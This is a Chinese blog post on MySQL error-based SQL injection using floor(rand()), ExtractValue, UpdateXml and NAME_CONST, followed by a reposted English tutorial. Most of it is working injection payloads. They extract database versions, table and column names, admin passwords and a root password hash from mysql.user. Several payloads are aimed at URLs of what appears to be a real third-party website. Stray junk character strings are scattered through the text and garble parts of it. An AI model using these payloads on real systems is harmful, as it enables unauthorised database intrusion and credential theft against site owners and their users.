mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
2 _' i! A$ B3 ?* f+—-+——-+———+
| id | title | content |
8 z* a1 ]3 _- ?3 i' a4 A6 X5 A: P+—-+——-+———+
|  1 | test  | do it   |
+ s# Q9 ~9 d. W4 u0 W+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
* i- e2 D* {# nERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
. {. n: v* p5 ]5 c6 _% bERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

- r" }7 H  f9 U' k6 q% o, r- K* t& I

再收集：

9 L/ {% p& s. i- }http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

9 h* n7 j/ Q  ~2 G0 w6 F/ b3 Yhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
; `7 g+ T% |* p9 ?6 P
Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

1 J) L9 Y( O! k3 h* R: CMYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.


相关信息
/ ^) F: z" ]0 m9 }9 v% k
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
9 `  z8 F$ r3 b8 g1 w/ m4 Z$ \1 U
Code:
; J8 ~4 x# K5 k) C# j% l- C. m& hNAME_CONST(DATA, VALUE)

2 A1 T! n+ ]& K$ D) V, fReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
' y' Y" g; p. }3 z( V& w! x
8 d+ e0 q$ G2 R- d% J: pSELECT NAME_CONST('TEST', 1)

& n; Y! [3 w& ^$ l: W
; q' L7 w& p( O. U9 v2 U: u
0 p! D1 t: v8 \0 N& [|---------------|
8 [0 L- b! M! ~, s3 X* u; |: m|     TEST      |
5 s5 j" F8 x/ ]5 I|               |
|---------------|
|       1       |
: F* {' Z0 l. P8 f1 Y/ J, y9 F3 }: D|               |
0 ~5 t/ _7 J6 g# @0 T|---------------|
, x/ G6 s2 @) Z. M3 W  @$ _
5 I: E5 }& q' p1 Z7 Y! L9 {9 Y


http://dev.mysql.com/doc/refman/5.0/en/m...name-const
- T/ h1 X/ N' zIntro to MySQL Variables
+ f( g3 p3 y6 A7 I8 K" l
, z. H% V+ H; k- P. pOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
6 m  }7 |5 i4 E
" n/ z& a5 V& U7 e* v0 W5 v( C) ]. O/ aCode:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261



7 d) Z; {1 I1 ~4 H9 @! V
, j1 O, t+ Y: e9 P2 h
Code:
" x, T  T$ }1 M# K" ]' _% }1 v+ kand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
  Z1 y3 H6 B7 M2 a

VAR = Your MySQL variable.

MySQL 5.1.3 Server System Variables

Let's try it out on my site..
4 x3 U$ B+ J3 u2 @/ B
Code:
6 _. X8 K7 d8 @& e$ J6 Ohttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

/ A% E8 m2 M# I. l: AErroruplicate column name '5.0.27-community-nt'
# I6 y: u' T' T3 E6 Z
  f  K, m$ V( N3 A3 w$ M3 c) s
" u  a: U6 q1 v; A8 u% h. }( b


- h. d  e) [  R2 _Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

Data Extraction
6 R& m- Y- x4 F1 R( I6 f. B
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
, Z9 s) g! H1 }$ }. c" w: a

  v1 K4 G$ K% M* G/ }4 T, g, BWe should get a duplicate column 1 error...

Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

6 `3 m" j# Y$ H9 |6 o- g( z) }Erroruplicate column name '1
$ j2 B$ I' ~6 }9 g



/ p! K0 p. J) q" j0 o7 k7 C* b' i

Now let's get the tables out this bitch..

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
4 L( k+ m0 K( S" v9 b1 S6 S5 p

, V/ M; I: P3 F% h+ x6 J4 k9 pLet's see if it works here, if it does, we can go on and finish the job.

! O; j/ V2 f' ^& N2 e( I! D1 |Code:
9 j: k2 N& `) m* @$ e: c9 H8 b! U7 Ohttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

& Z9 P! t! Z, @) `. e# z8 H# l
Erroruplicate column name 'com_admanage




' O$ v* K; w, u7 e

Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
9 M3 x+ f0 z; \8 v, T/ D6 c& p
; K3 p2 s. {% hLet's get the columns out of the user table..

2 n$ G. F' X9 @Code:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--

1 [& o# N% K2 l( J! Q2 T% X/ _& s
So mine looks like this, and I get the duplicate column name 'Host'.
* V7 }$ ^/ |" d( R" W
Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

Erroruplicate column name 'Host'
7 z  o6 n& `& c* r
0 j) I) K1 s( k$ L. i/ O* A# c
, a/ W  N1 ^, f$ H2 Y9 M0 X


8 {" q  R+ Q) W. c9 \
5 o- V/ y" k( \1 I) P; ~1 }Woot, time to finish this bitch off.
4 Q( q* A/ b. }' }; N" ^
* C5 k* e9 N+ M) V( n. ]Code:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--

+ c: R# B% |1 s6 s# l* s
So mine looks like this...

' w* U& Y8 L$ w. ]; @4 mCode:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'

( U: s/ G6 F8 I

7 }( b: n3 r, ^7 Z* ^

6 f; Y/ }  q% W
And there we have it, thanks for reading.
! G+ V0 w5 Y4 J) F4 i